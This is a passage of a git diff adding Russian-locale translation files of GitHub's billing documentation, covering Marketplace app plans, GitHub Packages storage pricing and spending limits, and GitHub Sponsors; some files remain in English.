счетов. +- Дата ежемесячного или ежегодного выставления счетов для подписки на приложение совпадает со стандартной датой выставления счетов в учетной записи или организации. +- В следующую дату выставления счетов в квитанции будут указаны стоимость платного плана {% data variables.product.prodname_dotcom %} и подписки на приложение. + +При выборе платного плана с бесплатной пробной версией происходит следующее: +- У вас должен быть существующий метод оплаты, либо нужно добавить новый метод оплаты для личной учетной записи или организации, где необходимо установить приложение. +- Если у вас нет других платных планов или подписок, по завершении 14-дневного бесплатного пробного периода с вас взимается полная стоимость подписки. +- Если у вас есть другие платные планы или подписки, по завершении 14-дневного бесплатного пробного периода посредством указанного метода оплаты будет сразу взиматься сумма, пропорциональная времени, оставшемуся до следующей даты выставления счетов. +- Если у вас есть другие платные планы или подписки, в следующую дату выставления счетов в квитанции будут указаны стоимость платного плана {% data variables.product.prodname_dotcom %} и подписки на приложение. + +{% data reusables.user-settings.context_switcher %} + +## Ограничения поэлементного тарифного плана + +Если вы выбрали поэлементный тарифный план (например, с оплатой за пользователя), но количество оплаченных единиц превышено, интегратор может заблокировать вам доступ, пока вы не обновите приложение. Дополнительные сведения см. в разделе [Обновление плана выставления счетов для приложения {% data variables.product.prodname_marketplace %}](/articles/upgrading-the-billing-plan-for-a-github-marketplace-app). + +## Понижение уровня приложения {% data variables.product.prodname_marketplace %} + +Если вы переводите подписку на приложение на более дешевый план или отменяете платную подписку, изменения вступают в силу в конце текущего периода выставления счетов. Подписка будет переведена на новый план в следующую дату выставления счетов. + +Если вы отмените приложение с бесплатным планом, действие подписки завершится немедленно и вы потеряете доступ к приложению. + +{% data reusables.marketplace.downgrade-marketplace-only %} + +Если вы отмените бесплатную пробную версию приложения с платным планом, действие подписки завершится немедленно и вы потеряете доступ к приложению. Дополнительные сведения см. в разделе [Отмена приложения {% data variables.product.prodname_marketplace %}](/articles/canceling-a-github-marketplace-app). + +## Дополнительные материалы + +- [Сведения о {% data variables.product.prodname_marketplace %}](/articles/about-github-marketplace) +- [Приобретение и установка приложений в {% data variables.product.prodname_marketplace %}](/articles/purchasing-and-installing-apps-in-github-marketplace) +- [Поддержка {% data variables.product.prodname_marketplace %}](/articles/github-marketplace-support) diff --git a/translations/ru-RU/content/billing/managing-billing-for-github-marketplace-apps/canceling-a-github-marketplace-app.md b/translations/ru-RU/content/billing/managing-billing-for-github-marketplace-apps/canceling-a-github-marketplace-app.md new file mode 100644 index 000000000000..6c80c5ca989a --- /dev/null +++ b/translations/ru-RU/content/billing/managing-billing-for-github-marketplace-apps/canceling-a-github-marketplace-app.md @@ -0,0 +1,62 @@ +--- +title: Canceling a GitHub Marketplace app +intro: 'You can cancel and remove a {% data variables.product.prodname_marketplace %} app from your account at any time.' +redirect_from: + - /github/setting-up-and-managing-billing-and-payments-on-github/canceling-a-github-marketplace-app + - /articles/canceling-an-app-for-your-personal-account + - /articles/canceling-an-app-for-your-organization + - /articles/canceling-a-github-marketplace-app + - /github/setting-up-and-managing-billing-and-payments-on-github/managing-billing-for-github-marketplace-apps/canceling-a-github-marketplace-app +versions: + fpt: '*' + ghec: '*' +type: how_to +topics: + - Cancellation + - Marketplace + - Organizations + - Trials + - User account +shortTitle: Cancel a Marketplace app +--- +When you cancel an app, your subscription remains active until the end of your current billing cycle. The cancellation takes effect on your next billing date. For more information, see "[About billing for {% data variables.product.prodname_marketplace %}](/articles/about-billing-for-github-marketplace)." + +When you cancel a free trial on a paid plan, your subscription is immediately canceled and you will lose access to the app. If you don't cancel your free trial within the trial period, the payment method on file for your account will be charged for the plan you chose at the end of the trial period. For more information, see "[About billing for {% data variables.product.prodname_marketplace %}](/articles/about-billing-for-github-marketplace)." + +{% data reusables.marketplace.downgrade-marketplace-only %} + +## Canceling an app for your personal account + +{% data reusables.user-settings.access_settings %} +{% data reusables.user-settings.billing_plans %} +{% data reusables.marketplace.cancel-app-billing-settings %} +{% data reusables.marketplace.cancel-app %} + +## Canceling a free trial for an app for your personal account + +{% data reusables.user-settings.access_settings %} +{% data reusables.user-settings.billing_plans %} +{% data reusables.marketplace.cancel-free-trial-billing-settings %} +{% data reusables.marketplace.cancel-app %} + +## Canceling an app for your organization + +{% data reusables.marketplace.marketplace-org-perms %} + + +{% data reusables.profile.access_org %} +{% data reusables.profile.org_settings %} +{% data reusables.organizations.billing_plans %} +{% data reusables.marketplace.cancel-app-billing-settings %} +{% data reusables.marketplace.cancel-app %} + +## Canceling a free trial for an app for your organization + +{% data reusables.marketplace.marketplace-org-perms %} + + +{% data reusables.profile.access_org %} +{% data reusables.profile.org_settings %} +{% data reusables.organizations.billing_plans %} +{% data reusables.marketplace.cancel-free-trial-billing-settings %} +{% data reusables.marketplace.cancel-app %} diff --git a/translations/ru-RU/content/billing/managing-billing-for-github-marketplace-apps/downgrading-the-billing-plan-for-a-github-marketplace-app.md b/translations/ru-RU/content/billing/managing-billing-for-github-marketplace-apps/downgrading-the-billing-plan-for-a-github-marketplace-app.md new file mode 100644 index 000000000000..4bc8c33ca35b --- /dev/null +++ b/translations/ru-RU/content/billing/managing-billing-for-github-marketplace-apps/downgrading-the-billing-plan-for-a-github-marketplace-app.md @@ -0,0 +1,48 @@ +--- +title: Downgrading the billing plan for a GitHub Marketplace app +intro: 'If you''d like to use a different billing plan, you can downgrade your {% data variables.product.prodname_marketplace %} app at any time.' +redirect_from: + - /github/setting-up-and-managing-billing-and-payments-on-github/downgrading-the-billing-plan-for-a-github-marketplace-app + - /articles/downgrading-an-app-for-your-personal-account + - /articles/downgrading-an-app-for-your-organization + - /articles/downgrading-the-billing-plan-for-a-github-marketplace-app + - /github/setting-up-and-managing-billing-and-payments-on-github/managing-billing-for-github-marketplace-apps/downgrading-the-billing-plan-for-a-github-marketplace-app +versions: + fpt: '*' + ghec: '*' +type: how_to +topics: + - Downgrades + - Marketplace + - Organizations + - User account +shortTitle: Downgrade billing plan +--- +When you downgrade an app, your subscription remains active until the end of your current billing cycle. The downgrade takes effect on your next billing date. For more information, see "[About billing for {% data variables.product.prodname_marketplace %}](/articles/about-billing-for-github-marketplace)." + +{% data reusables.marketplace.downgrade-marketplace-only %} + +## Downgrading an app for your personal account + +{% data reusables.user-settings.access_settings %} +{% data reusables.user-settings.billing_plans %} +{% data reusables.marketplace.downgrade-app-billing-settings %} +{% data reusables.marketplace.choose-new-plan %} +{% data reusables.marketplace.choose-new-quantity %} +{% data reusables.marketplace.issue-plan-changes %} + +## Downgrading an app for your organization + +{% data reusables.marketplace.marketplace-org-perms %} + +{% data reusables.profile.access_org %} +{% data reusables.profile.org_settings %} +{% data reusables.organizations.billing_plans %} +{% data reusables.marketplace.downgrade-app-billing-settings %} +{% data reusables.marketplace.choose-new-plan %} +{% data reusables.marketplace.choose-new-quantity %} +{% data reusables.marketplace.issue-plan-changes %} + +## Further reading + +- "[Canceling a {% data variables.product.prodname_marketplace %} app](/articles/canceling-a-github-marketplace-app/)" diff --git a/translations/ru-RU/content/billing/managing-billing-for-github-marketplace-apps/index.md b/translations/ru-RU/content/billing/managing-billing-for-github-marketplace-apps/index.md new file mode 100644 index 000000000000..01b0551cb319 --- /dev/null +++ b/translations/ru-RU/content/billing/managing-billing-for-github-marketplace-apps/index.md @@ -0,0 +1,25 @@ +--- +title: Управление выставлением счетов для приложений из GitHub Marketplace +shortTitle: GitHub Marketplace apps +intro: 'Вы можете в любое время повысить, понизить уровень или отменить приложения {% data variables.product.prodname_marketplace %}.' +redirect_from: + - /github/setting-up-and-managing-billing-and-payments-on-github/managing-billing-for-github-marketplace-apps + - /articles/managing-your-personal-account-s-apps + - /articles/managing-your-organization-s-apps + - /articles/managing-billing-for-github-marketplace-apps +versions: + fpt: '*' + ghec: '*' +children: + - /about-billing-for-github-marketplace + - /upgrading-the-billing-plan-for-a-github-marketplace-app + - /downgrading-the-billing-plan-for-a-github-marketplace-app + - /canceling-a-github-marketplace-app +ms.openlocfilehash: b4db06f7425a42ce7befa58e052acda94416dab4 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145088029' +--- + diff --git a/translations/ru-RU/content/billing/managing-billing-for-github-marketplace-apps/upgrading-the-billing-plan-for-a-github-marketplace-app.md b/translations/ru-RU/content/billing/managing-billing-for-github-marketplace-apps/upgrading-the-billing-plan-for-a-github-marketplace-app.md new file mode 100644 index 000000000000..56ba39b6c9be --- /dev/null +++ b/translations/ru-RU/content/billing/managing-billing-for-github-marketplace-apps/upgrading-the-billing-plan-for-a-github-marketplace-app.md @@ -0,0 +1,42 @@ +--- +title: Upgrading the billing plan for a GitHub Marketplace app +intro: 'You can upgrade your {% data variables.product.prodname_marketplace %} app to a different plan at any time.' +redirect_from: + - /github/setting-up-and-managing-billing-and-payments-on-github/upgrading-the-billing-plan-for-a-github-marketplace-app + - /articles/upgrading-an-app-for-your-personal-account + - /articles/upgrading-an-app-for-your-organization + - /articles/upgrading-the-billing-plan-for-a-github-marketplace-app + - /github/setting-up-and-managing-billing-and-payments-on-github/managing-billing-for-github-marketplace-apps/upgrading-the-billing-plan-for-a-github-marketplace-app +versions: + fpt: '*' + ghec: '*' +type: how_to +topics: + - Marketplace + - Organizations + - Upgrades + - User account +shortTitle: Upgrade billing plan +--- +When you upgrade an app, your payment method is charged a prorated amount based on the time remaining until your next billing date. For more information, see "[About billing for {% data variables.product.prodname_marketplace %}](/articles/about-billing-for-github-marketplace)." + +## Upgrading an app for your personal account + +{% data reusables.user-settings.access_settings %} +{% data reusables.user-settings.billing_plans %} +{% data reusables.marketplace.upgrade-app-billing-settings %} +{% data reusables.marketplace.choose-new-plan %} +{% data reusables.marketplace.choose-new-quantity %} +{% data reusables.marketplace.issue-plan-changes %} + +## Upgrading an app for your organization + +{% data reusables.marketplace.marketplace-org-perms %} + +{% data reusables.profile.access_org %} +{% data reusables.profile.org_settings %} +{% data reusables.organizations.billing_plans %} +{% data reusables.marketplace.upgrade-app-billing-settings %} +{% data reusables.marketplace.choose-new-plan %} +{% data reusables.marketplace.choose-new-quantity %} +{% data reusables.marketplace.issue-plan-changes %} diff --git a/translations/ru-RU/content/billing/managing-billing-for-github-packages/about-billing-for-github-packages.md b/translations/ru-RU/content/billing/managing-billing-for-github-packages/about-billing-for-github-packages.md new file mode 100644 index 000000000000..dcdfa5e6df79 --- /dev/null +++ b/translations/ru-RU/content/billing/managing-billing-for-github-packages/about-billing-for-github-packages.md @@ -0,0 +1,79 @@ +--- +title: About billing for GitHub Packages +intro: 'If you want to use {% data variables.product.prodname_registry %} beyond the storage or data transfer included in your account, you will be billed for additional usage.' +product: '{% data reusables.gated-features.packages %}' +redirect_from: + - /github/setting-up-and-managing-billing-and-payments-on-github/about-billing-for-github-packages + - /github/setting-up-and-managing-billing-and-payments-on-github/managing-billing-for-github-packages/about-billing-for-github-packages +versions: + fpt: '*' + ghec: '*' +type: overview +topics: + - Packages + - Spending limits +shortTitle: About billing +--- +## About billing for {% data variables.product.prodname_registry %} + +{% data reusables.package_registry.packages-billing %} + +{% data reusables.package_registry.packages-spending-limit-brief %} For more information, see "[About spending limits](#about-spending-limits)." + +{% note %} + +**Billing update for container image storage:** The period of free use for container image storage and bandwidth for the {% data variables.product.prodname_container_registry %} has been extended. If you are using {% data variables.product.prodname_container_registry %} you'll be informed at least one month in advance of billing commencing and you'll be given an estimate of how much you should expect to pay. For more information about the {% data variables.product.prodname_container_registry %}, see "[Working with the Container registry](/packages/working-with-a-github-packages-registry/working-with-the-container-registry)." + +{% endnote %} + +{% ifversion ghec %} +If you purchased {% data variables.product.prodname_enterprise %} through a Microsoft Enterprise Agreement, you can connect your Azure Subscription ID to your enterprise account to enable and pay for {% data variables.product.prodname_registry %} usage beyond the amounts including with your account. For more information, see "[Connecting an Azure subscription to your enterprise](/billing/managing-billing-for-your-github-account/connecting-an-azure-subscription-to-your-enterprise)." +{% endif %} + +Data transfer resets every month, while storage usage does not. + +Product | Storage | Data transfer (per month) +------- | ------- | --------- +{% data variables.product.prodname_free_user %} | 500MB | 1GB +{% data variables.product.prodname_pro %} | 2GB | 10GB +{% data variables.product.prodname_free_team %} for organizations | 500MB | 1GB | +{% data variables.product.prodname_team %} | 2GB | 10GB +{% data variables.product.prodname_ghe_cloud %} | 50GB | 100GB + +All data transferred out, when triggered by {% data variables.product.prodname_actions %}, and data transferred in from any source is free. We determine you are downloading packages using {% data variables.product.prodname_actions %} when you log in to {% data variables.product.prodname_registry %} using a `GITHUB_TOKEN`. + +||Hosted|Self-Hosted| +|-|-|-| +|Access using a `GITHUB_TOKEN`|Free|Free| +|Access using a {% data variables.product.pat_generic %}|Free|$| + +Storage usage is shared with build artifacts produced by {% data variables.product.prodname_actions %} for repositories owned by your account. For more information, see "[About billing for {% data variables.product.prodname_actions %}](/billing/managing-billing-for-github-actions/about-billing-for-github-actions)." + +{% data variables.product.prodname_dotcom %} charges usage to the account that owns the repository where the package is published. If your account's usage surpasses these limits and you have set a spending limit above $0 USD, you will pay $0.008 USD per GB of storage per day and $0.50 USD per GB of data transfer. + +For example, if your organization uses {% data variables.product.prodname_team %}, allows unlimited spending, uses 150GB of storage, and has 50GB of data transfer out during a month, the organization would have overages of 148GB for storage and 40GB for data transfer for that month. The storage overage would cost $0.008 USD per GB per day or approximately $37 USD for a 31-day month. The overage for data transfer would cost $0.50 USD per GB or $20 USD. + +{% data reusables.dotcom_billing.pricing_calculator.pricing_cal_packages %} + +At the end of the month, {% data variables.product.prodname_dotcom %} rounds your data transfer to the nearest GB. + +{% data variables.product.prodname_dotcom %} calculates your storage usage for each month based on hourly usage during that month. For example, if you use 3 GB of storage for 10 days of March and 12 GB for 21 days of March, your storage usage would be: + +- 3 GB x 10 days x (24 hours per day) = 720 GB-Hours +- 12 GB x 21 days x (24 hours per day) = 6,048 GB-Hours +- 720 GB-Hours + 6,048 GB-Hours = 6,768 GB-Hours +- 6,768 GB-Hours / (744 hours per month) = 9.0967 GB-Months + +At the end of the month, {% data variables.product.prodname_dotcom %} rounds your storage to the nearest MB. Therefore, your storage usage for March would be 9.097 GB. + +Your {% data variables.product.prodname_registry %} usage shares your account's existing billing date, payment method, and receipt. {% data reusables.dotcom_billing.view-all-subscriptions %} + +{% data reusables.user-settings.context_switcher %} + +## About spending limits + +{% data reusables.package_registry.packages-spending-limit-detailed %} + +For information on managing and changing your account's spending limit, see "[Managing your spending limit for {% data variables.product.prodname_registry %}](/billing/managing-billing-for-github-packages/managing-your-spending-limit-for-github-packages)." + +{% data reusables.dotcom_billing.actions-packages-unpaid-account %} diff --git a/translations/ru-RU/content/billing/managing-billing-for-github-packages/index.md b/translations/ru-RU/content/billing/managing-billing-for-github-packages/index.md new file mode 100644 index 000000000000..77b41242a97c --- /dev/null +++ b/translations/ru-RU/content/billing/managing-billing-for-github-packages/index.md @@ -0,0 +1,21 @@ +--- +title: Управление выставлением счетов для GitHub Packages +shortTitle: GitHub Packages +intro: 'Вы можете просмотреть сведения об использовании {% data variables.product.prodname_registry %} и задать предельную сумму расходов для {% data variables.product.prodname_registry %}.' +redirect_from: + - /github/setting-up-and-managing-billing-and-payments-on-github/managing-billing-for-github-packages +versions: + fpt: '*' + ghec: '*' +children: + - /about-billing-for-github-packages + - /viewing-your-github-packages-usage + - /managing-your-spending-limit-for-github-packages +ms.openlocfilehash: 69d79e1d3e27cba934ab58ea2733379ec3a2fdf2 +ms.sourcegitcommit: 76b840f45ba85fb79a7f0c1eb43bc663b3eadf2b +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/12/2022 +ms.locfileid: '145088017' +--- + diff --git a/translations/ru-RU/content/billing/managing-billing-for-github-packages/managing-your-spending-limit-for-github-packages.md b/translations/ru-RU/content/billing/managing-billing-for-github-packages/managing-your-spending-limit-for-github-packages.md new file mode 100644 index 000000000000..1343feeab950 --- /dev/null +++ b/translations/ru-RU/content/billing/managing-billing-for-github-packages/managing-your-spending-limit-for-github-packages.md @@ -0,0 +1,70 @@ +--- +title: Managing your spending limit for GitHub Packages +intro: 'You can set a spending limit for {% data variables.product.prodname_registry %} usage.' +product: '{% data reusables.gated-features.packages %}' +redirect_from: + - /github/setting-up-and-managing-billing-and-payments-on-github/managing-your-spending-limit-for-github-packages + - /github/setting-up-and-managing-billing-and-payments-on-github/managing-billing-for-github-packages/managing-your-spending-limit-for-github-packages +versions: + fpt: '*' + ghec: '*' +type: how_to +topics: + - Enterprise + - Organizations + - Packages + - Spending limits + - User account +shortTitle: Your spending limit +--- +## About spending limits for {% data variables.product.prodname_registry %} + +{% data reusables.package_registry.packages-billing %} + +{% data reusables.package_registry.packages-spending-limit-brief %} + +{% data reusables.actions.actions-packages-set-spending-limit %} For more information about pricing for {% data variables.product.prodname_registry %} usage, see "[About billing for {% data variables.product.prodname_registry %}](/billing/managing-billing-for-github-packages/about-billing-for-github-packages)." + +{% ifversion ghec %} +If you purchased {% data variables.product.prodname_enterprise %} through a Microsoft Enterprise Agreement, you can connect your Azure Subscription ID to your enterprise account to enable and pay for {% data variables.product.prodname_registry %} usage beyond the amounts including with your account. For more information, see "[Connecting an Azure subscription to your enterprise](/billing/managing-billing-for-your-github-account/connecting-an-azure-subscription-to-your-enterprise)." +{% endif %} + +As soon as you set a spending limit other than $0, you will be responsible for any existing overages in the current billing period. For example, if your organization uses {% data variables.product.prodname_team %}, does not allow overages, and publishes a new version of a private package that increases your storage usage for the month from 1.9GB to 2.1GB, publishing the version will use slightly more than the 2GB your product includes. + +Because you have not enabled overages, your next attempt to publish a version of the package will fail. You will not receive a bill for the 0.1GB overage that month. However, if you enable overages, your first bill will include the 0.1GB of existing overage for the current billing cycle, as well as any additional overages you accrue. + +## Managing the spending limit for {% data variables.product.prodname_registry %} for your personal account + +Anyone can manage the spending limit for {% data variables.product.prodname_registry %} for their own personal account. + +{% data reusables.user-settings.access_settings %} +{% data reusables.user-settings.billing_plans %} +{% data reusables.dotcom_billing.manage-spending-limit %} +{% data reusables.dotcom_billing.monthly-spending-limit %} +{% data reusables.dotcom_billing.update-spending-limit %} + +## Managing the spending limit for {% data variables.product.prodname_registry %} for your organization + +Organizations owners and billing managers can manage the spending limit for {% data variables.product.prodname_registry %} for an organization. + +{% data reusables.organizations.billing-settings %} +{% data reusables.dotcom_billing.manage-spending-limit %} +{% data reusables.dotcom_billing.monthly-spending-limit-actions-packages %} +{% data reusables.dotcom_billing.update-spending-limit %} + +{% ifversion ghec %} +## Managing the spending limit for {% data variables.product.prodname_registry %} for your enterprise account + +Enterprise owners and billing managers can manage the spending limit for {% data variables.product.prodname_registry %} for an enterprise account. + +{% data reusables.enterprise-accounts.access-enterprise %} +{% data reusables.enterprise-accounts.settings-tab %} +{% data reusables.enterprise-accounts.billing-tab %} +1. Above "{% data variables.product.prodname_actions %} and Packages monthly usage", click **Spending Limit**. + ![Spending limit tab](/assets/images/help/settings/spending-limit-tab-enterprise.png) +{% data reusables.dotcom_billing.monthly-spending-limit %} +{% data reusables.dotcom_billing.update-spending-limit %} +{% endif %} + +## Managing usage and spending limit email notifications +{% data reusables.billing.email-notifications %} diff --git a/translations/ru-RU/content/billing/managing-billing-for-github-packages/viewing-your-github-packages-usage.md b/translations/ru-RU/content/billing/managing-billing-for-github-packages/viewing-your-github-packages-usage.md new file mode 100644 index 000000000000..8dc2aa166f66 --- /dev/null +++ b/translations/ru-RU/content/billing/managing-billing-for-github-packages/viewing-your-github-packages-usage.md @@ -0,0 +1,56 @@ +--- +title: Viewing your GitHub Packages usage +intro: 'You can view details of your usage of storage and data transfer for {% data variables.product.prodname_registry %}.' +product: '{% data reusables.gated-features.packages %}' +redirect_from: + - /github/setting-up-and-managing-billing-and-payments-on-github/viewing-your-github-packages-usage + - /github/setting-up-and-managing-billing-and-payments-on-github/managing-billing-for-github-packages/viewing-your-github-packages-usage +versions: + fpt: '*' + ghec: '*' +type: how_to +topics: + - Enterprise + - Packages + - Organizations + - User account +shortTitle: View your usage +--- +## Viewing {% data variables.product.prodname_registry %} usage for your personal account + +Anyone can view {% data variables.product.prodname_registry %} usage for their own personal account. + +{% data reusables.user-settings.access_settings %} +{% data reusables.user-settings.billing_plans %} +{% data reusables.dotcom_billing.packages-data %} +{% data reusables.dotcom_billing.actions-packages-storage %} +{% data reusables.dotcom_billing.actions-packages-report-download %} + +## Viewing {% data variables.product.prodname_registry %} usage for your organization + +Organization owners and billing managers can view {% data variables.product.prodname_registry %} usage for an organization. For organizations managed by an enterprise account, only the organization owners can view {% data variables.product.prodname_registry %} usage in the organization billing page. + +{% data reusables.organizations.billing-settings %} +{% data reusables.dotcom_billing.packages-data %} +{% data reusables.dotcom_billing.actions-packages-storage %} +{% data reusables.dotcom_billing.actions-packages-report-download-org-account %} + +{% ifversion ghec %} +## Viewing {% data variables.product.prodname_registry %} usage for your enterprise account + +Enterprise owners and billing managers can view {% data variables.product.prodname_registry %} usage for an enterprise account. + +{% note %} + +**Note:** Billing details for enterprise accounts only summarize the storage data usage per organization. {% data reusables.actions.enterprise-billing-details %} + +{% endnote %} + +{% data reusables.enterprise-accounts.access-enterprise %} +{% data reusables.enterprise-accounts.settings-tab %} +{% data reusables.enterprise-accounts.billing-tab %} +1. Under "{% data variables.product.prodname_registry %}", view details of usage of data transfer by each organization in your enterprise account. + ![Details of usage of data transfer](/assets/images/help/billing/packages-data-enterprise.png) +{% data reusables.dotcom_billing.actions-packages-storage-enterprise-account %} +{% data reusables.enterprise-accounts.actions-packages-report-download-enterprise-accounts %} +{% endif %} diff --git a/translations/ru-RU/content/billing/managing-billing-for-github-sponsors/about-billing-for-github-sponsors.md b/translations/ru-RU/content/billing/managing-billing-for-github-sponsors/about-billing-for-github-sponsors.md new file mode 100644 index 000000000000..883f97553e50 --- /dev/null +++ b/translations/ru-RU/content/billing/managing-billing-for-github-sponsors/about-billing-for-github-sponsors.md @@ -0,0 +1,33 @@ +--- +title: Управление выставлением счетов для спонсоров GitHub +intro: Вам будет выставлен счет за спонсорскую поддержку для остальных платных продуктов и функций. +redirect_from: + - /github/setting-up-and-managing-billing-and-payments-on-github/about-billing-for-github-sponsors + - /articles/about-billing-for-github-sponsors + - /github/setting-up-and-managing-billing-and-payments-on-github/managing-billing-for-github-sponsors/about-billing-for-github-sponsors +versions: + fpt: '*' + ghec: '*' +type: overview +topics: + - Sponsors +shortTitle: About billing +ms.openlocfilehash: 478b0bc1836cd234ffa32aba4a03b823b0c20663 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145087992' +--- +{% data reusables.sponsors.sponsorship-details %} + +{% data reusables.sponsors.no-fees %} + +{% data reusables.dotcom_billing.view-all-subscriptions %} + +{% data reusables.user-settings.context_switcher %} + +## Дополнительные материалы + +- "[Сведения о {% data variables.product.prodname_sponsors %}](/sponsors/getting-started-with-github-sponsors/about-github-sponsors)" +- "[Спонсорская поддержка участников разработки открытого кода](/sponsors/sponsoring-open-source-contributors)" diff --git a/translations/ru-RU/content/billing/managing-billing-for-github-sponsors/downgrading-a-sponsorship.md b/translations/ru-RU/content/billing/managing-billing-for-github-sponsors/downgrading-a-sponsorship.md new file mode 100644 index 000000000000..871d69f42d17 --- /dev/null +++ b/translations/ru-RU/content/billing/managing-billing-for-github-sponsors/downgrading-a-sponsorship.md @@ -0,0 +1,39 @@ +--- +title: Переход на более раннюю версию спонсорского предложения +intro: Вы можете понизить уровень спонсорского предложения до более низкого уровня или отменить спонсорское предложение. +redirect_from: + - /github/setting-up-and-managing-billing-and-payments-on-github/downgrading-a-sponsorship + - /articles/downgrading-a-sponsorship + - /github/setting-up-and-managing-billing-and-payments-on-github/managing-billing-for-github-sponsors/downgrading-a-sponsorship +versions: + fpt: '*' + ghec: '*' +type: how_to +topics: + - Cancellation + - Downgrades + - Sponsors +ms.openlocfilehash: 5948b9a666ec1cecd4e5640138f278abf787386e +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145087981' +--- +{% data reusables.sponsors.org-sponsors-release-phase %} + +## Сведения о переходе на более ранние версии спонсорского предложения + +При переходе на более раннюю версию спонсорского предложения или при его отмене изменения вступят в силу со следующей даты выставления счета. {% data reusables.sponsors.no-refunds %} + +## Переход на более раннюю версию спонсорского предложения + +{% data reusables.sponsors.navigate-to-sponsored-account %} {% data reusables.sponsors.sponsorship-dashboard %} {% data reusables.sponsors.review-tiers-to-select %} {% data reusables.sponsors.select-a-tier %} {% data reusables.sponsors.update-sponsorship %} + +## Отмена спонсорского предложения + +{% data reusables.user-settings.access_settings %} {% data reusables.user-settings.billing_plans %} {% data reusables.sponsors.billing-switcher %} +3. В разделе "{% data variables.product.prodname_sponsors %}" справа от спонсируемого участника по разработке проектов с открытым кодом щелкните {% octicon "triangle-down" aria-label="The down triangle octicon" %} рядом с вашей спонсируемой суммой, а затем нажмите кнопку **Отменить спонсорское предложение**. + ![Кнопка "Отменить спонсорское предложение"](/assets/images/help/billing/edit-sponsor-billing.png) +4. Просмотрите сведения об отмене спонсорского предложения и нажмите кнопку **ОК**. + ![Поле подтверждения отмены](/assets/images/help/billing/confirm-sponsorship-cancellation.png) diff --git a/translations/ru-RU/content/billing/managing-billing-for-github-sponsors/index.md b/translations/ru-RU/content/billing/managing-billing-for-github-sponsors/index.md new file mode 100644 index 000000000000..9834a768e2ed --- /dev/null +++ b/translations/ru-RU/content/billing/managing-billing-for-github-sponsors/index.md @@ -0,0 +1,22 @@ +--- +title: Управление выставлением счетов для спонсоров GitHub +shortTitle: GitHub Sponsors +intro: Вы можете повысить или понизить уровень для каждого спонсорского предложения. +redirect_from: + - /github/setting-up-and-managing-billing-and-payments-on-github/managing-billing-for-github-sponsors + - /articles/managing-billing-for-github-sponsors +versions: + fpt: '*' + ghec: '*' +children: + - /about-billing-for-github-sponsors + - /upgrading-a-sponsorship + - /downgrading-a-sponsorship +ms.openlocfilehash: ac0a1f93ca351eaf620adfe9fce87b377427b340 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145087980' +--- + diff --git a/translations/ru-RU/content/billing/managing-billing-for-github-sponsors/upgrading-a-sponsorship.md b/translations/ru-RU/content/billing/managing-billing-for-github-sponsors/upgrading-a-sponsorship.md new file mode 100644 index 000000000000..72a0f0d10b86 --- /dev/null +++ b/translations/ru-RU/content/billing/managing-billing-for-github-sponsors/upgrading-a-sponsorship.md @@ -0,0 +1,30 @@ +--- +title: Обновление спонсорского предложения +intro: Вы можете обновить спонсорское предложение до более высокого уровня. +redirect_from: + - /github/setting-up-and-managing-billing-and-payments-on-github/upgrading-a-sponsorship + - /articles/upgrading-a-sponsorship + - /github/setting-up-and-managing-billing-and-payments-on-github/managing-billing-for-github-sponsors/upgrading-a-sponsorship +versions: + fpt: '*' + ghec: '*' +type: how_to +topics: + - Sponsors + - Upgrades +ms.openlocfilehash: c1aaab00c5fd11a560327424290c396920505003 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '145087974' +--- +{% data reusables.sponsors.org-sponsors-release-phase %} + +## Сведения об обновлениях спонсорских предложений + +При обновлении уровня спонсорского предложения изменения вступают в силу немедленно. {% data reusables.sponsors.prorated-sponsorship %} + +## Обновление спонсорского предложения + +{% data reusables.sponsors.navigate-to-sponsored-account %} {% data reusables.sponsors.sponsorship-dashboard %} {% data reusables.sponsors.review-tiers-to-select %} {% data reusables.sponsors.select-a-tier %} {% data reusables.sponsors.update-sponsorship %} diff --git a/translations/ru-RU/content/billing/managing-billing-for-your-github-account/about-billing-for-github-accounts.md b/translations/ru-RU/content/billing/managing-billing-for-your-github-account/about-billing-for-github-accounts.md new file mode 100644 index 000000000000..1e969981cef6 --- /dev/null +++ b/translations/ru-RU/content/billing/managing-billing-for-your-github-account/about-billing-for-github-accounts.md @@ -0,0 +1,48 @@ +--- +title: Сведения о выставлении счетов для учетных записей GitHub +intro: '{% data variables.product.company_short %} предлагает бесплатные и платные продукты для каждого разработчика или команды.' +redirect_from: + - /github/setting-up-and-managing-billing-and-payments-on-github/about-billing-for-github-accounts + - /articles/what-is-the-total-cost-of-using-an-organization-account + - /articles/what-are-the-costs-of-using-an-organization-account + - /articles/what-plan-should-i-choose + - /articles/do-you-have-custom-plans + - /articles/user-account-billing-plans + - /articles/organization-billing-plans + - /articles/github-s-billing-plans + - /articles/about-billing-for-github-accounts + - /github/setting-up-and-managing-billing-and-payments-on-github/managing-billing-for-your-github-account/about-billing-for-github-accounts +versions: + fpt: '*' + ghec: '*' +type: overview +topics: + - Accounts + - Discounts + - Fundamentals + - Upgrades +shortTitle: About billing +ms.openlocfilehash: a17f487d707949885a3cb8f0585feac21708bac1 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145087969' +--- +Дополнительные сведения о продуктах, доступных для вашей учетной записи, см. в разделе [Продукты {% data variables.product.prodname_dotcom %}](/articles/github-s-products). Расценки и полный список функций для каждого продукта можно просмотреть на странице <{% data variables.product.pricing_url %}>. {% data variables.product.product_name %} не предлагает настраиваемые продукты или подписки. + +Вы можете выбрать ежемесячное или ежегодное выставление счетов, а также в любое время повысить или понизить уровень подписки. Дополнительные сведения см. в разделе [Управление выставлением счетов для учетной записи {% data 